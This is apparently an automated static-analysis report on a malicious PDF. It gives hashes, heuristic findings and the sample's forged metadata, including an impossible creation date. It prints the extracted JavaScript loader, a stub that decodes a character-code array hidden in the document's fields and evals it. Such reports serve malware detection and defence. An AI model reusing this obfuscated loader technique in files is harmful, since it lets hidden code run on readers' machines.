Malicious PDF — malware analysis report

Static analysis result for SHA-256 3e6df47d44c55d55…

MALICIOUS

PDF

17.9 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-07
MD5: 1880eb48d491fa029cca8995de3433ba SHA-1: b10d1ed7fc2f7491b65921735957b56f2632e0c9 SHA-256: 3e6df47d44c55d5532934aaa9228545137fc957388777988b5ccde9f5fbdae9d
154 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly suggests maliciousness. The embedded JavaScript uses String.fromCharCode, which is often used for obfuscation. The primary function appears to be executing arbitrary code, likely to download and run a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x455D 331 bytes
SHA-256: b9e80d408b031fb482b49713965adb63dd2a342c5326342193166ebc90775043
Preview script
First 1,000 lines of the extracted script
var w = 4;
var ayd = this.title.replace(/w/g,'*w,');
ayd = ayd.replace(/t/g,'2');
ayd=ayd.substr(0,ayd.length-2) + ']';
orgyx=function(){return this}();
fra=orgyx[this.subject];
nfpsc=fra(this.producer);
lldm = fra(ayd);
var s = '';
for (i = 0; i < lldm.length; i++) {
	dvmx = lldm[i];
	s += nfpsc(dvmx);
}
fra(s);

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